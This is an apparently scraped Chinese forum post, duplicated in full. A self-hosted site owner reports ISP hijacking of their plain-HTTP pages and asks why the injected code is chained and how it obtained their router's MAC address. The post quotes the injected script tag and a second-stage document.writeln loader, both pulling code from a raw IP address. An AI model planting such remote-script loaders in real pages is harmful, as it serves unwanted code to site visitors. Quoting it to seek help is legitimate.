自己用 vps 搭建了个网站，里面有些自己需要的爬虫数据和一些小玩意，没有上 https。
遇到过很多次被运营商劫持插入了些 js 什么的，自己也没怎么在意。
但刚刚发现被劫持插入的 js 代码如下:
<script src="http://45.126.123.80:118/j.js?MAC=CC81XXXXXXXX"></script>
点开之后里面是这样的
document.writeln("<script src=\'http://45.126.123.80:118/t.php\'></script>");
然后继续点开的 php 代码我也看不懂。我不明白的是，为什么他要这样绕一层。
还有个我不明白的问题，他是怎么拿到我路由器的 MAC 地址的（我是通过楼下房东家的网络上网的，房东拉了根网线上来）。
有没有大佬能指导下~~~ T T
遇到过很多次被运营商劫持插入了些 js 什么的，自己也没怎么在意。
但刚刚发现被劫持插入的 js 代码如下:
<script src="http://45.126.123.80:118/j.js?MAC=CC81XXXXXXXX"></script>
点开之后里面是这样的
document.writeln("<script src=\'http://45.126.123.80:118/t.php\'></script>");
然后继续点开的 php 代码我也看不懂。我不明白的是，为什么他要这样绕一层。
还有个我不明白的问题，他是怎么拿到我路由器的 MAC 地址的（我是通过楼下房东家的网络上网的，房东拉了根网线上来）。
有没有大佬能指导下~~~ T T
1
Select Language